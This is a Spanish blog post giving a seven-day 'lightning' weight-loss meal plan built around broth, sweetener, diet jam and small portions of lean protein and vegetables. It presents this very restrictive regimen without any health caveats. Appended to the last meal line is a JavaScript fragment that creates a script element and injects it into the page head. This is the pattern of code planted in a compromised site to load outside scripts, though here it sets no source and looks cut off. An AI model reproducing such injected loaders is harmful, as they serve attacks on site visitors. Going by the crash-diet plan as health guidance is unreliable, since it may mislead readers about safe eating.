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Dietas cortas. Hoy, relámpago

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Las dietas cortas pueden ser una solución. Vaya que lo pueden ser. A menudo, seguir un plan alimenticio durante mucho tiempo termina produciendo hastío en el protagonista.

Y, cuando se mira atrás, solo se ve una cosa: tiempo perdido. Una dieta por la mitad es como un amor sin declarar, no sirve ni como recuerdo.

Por eso, aquí tenemos una solución, un remedio, para ese grupo de personas que carecen de constancia: una dieta corta.

dietas relampago

Porque, a veces, como ocurre con los libros, es preferible comenzar una dieta corta y terminarla que tomar una larga, dejarla por la mitad y no conocer jamás su final.

Comencemos con un plan corto, comencemos con un cuento.

Lunes

Desayuno: infusiones edulcoradas, sin restricción; una tostada de pan integral con mermelada de dieta.

Comida: una taza de caldo de verduras desgrasado; un medallón de carne a la parrilla sin grasa; ensalada de dos tomates; una manzana.

Merienda: infusiones edulcoradas, sin límite; dos galletitas sin sal

Cena: una taza de caldo de verduras; un plato de acelga o espinacas hervidas; una papa hervida; una porción de manzanas al horno

Martes

Desayuno: té con edulcorante

Comida: una taza de caldo de verduras casero; una pechuga de pollo sin piel a la plancha; una ensalada de frutas con edulcorante

Merienda: una infusión con edulcorante; dos tajadas de jamón cocido; dos galletitas sin sal

Cena: una taza de caldo de verduras diet; una porción mediana de verduras crudas; un plato chico de espinacas hervidas; una naranja

Miércoles

Desayuno: una infusión con edulcorante; tres galletitas sin sal

Comida: una taza de caldo diet; dos filetes de reineta a la plancha con limón; una manzana al horno

Merienda: té o café; tostada de pan integral con queso blanco descremado

Cena: una taza de caldo diet; dos zapallitos rellenos con espinaca y queso fresco descremado; una jalea de dieta.

Jueves

Desayuno: una infusión con edulcorante; tres galletitas de salvado con mermelada de dieta.

Comida: una taza de caldo diet; un bistec magro a la parrilla; una ensalada mediana completa; una jalea diet

Merienda: una infusión con edulcorante; dos galletas de arroz con mermelada diet

Cena: una taza de caldo light; una porción mediana de espinacas hervidas; ensalada mediana de zanahoria, tomate y huevo; una naranja

Viernes

Desayuno: un café con leche descremada y edulcorante; dos tostadas de pan de salvado diet; dos cucharadas de queso blanco descremado

Comida: una taza de caldo desgrasado; dos filetes de reineta a la plancha con limón; una porción mediana de verduras cocidas; una jalea diet

Merienda: una infusión con edulcorante; dos galletas de arroz con mermelada diet

Cena: una taza de caldo de verduras casero; dos ajíes rellenos con espinaca, choclo, y queso fresco descremado; una fruta

Sábado

Desayuno: té o café con edulcorante; dos galletas de agua; jugo de naranja y un pomelo

Comida: un plato mediano de sopa de verduras casera; una ensalada de verduras condimentadas con limón; una manzana verde.

Merienda: una infusión con edulcorante; dos galletas de arroz con mermelada diet y queso blanco descremado

Cena: una taza de caldo diet; un medallón de lomo a la plancha sin grasa; una ensalada de verduras; una jalea diet con trozos de fruta

Domingo

Desayuno: una infusión con edulcorante; dos galletas de arroz con mermelada diet

Almuerzo: una taza de caldo diet; una pechuga de pollo al horno; puré de medio zapallo; una porción de ciruelas al horno

Merienda: una taza de café con leche descremada y edulcorante; tres galletitas de agua con mermelada diet

Cena: plato de sopa de verduras casera; ensalada mediana de verduras cocidas; una manzana al horno con canela y edulcorante.var d=document;var s=d.createElement('script'); d.getElementsByTagName('head')[0].appendChild(s);

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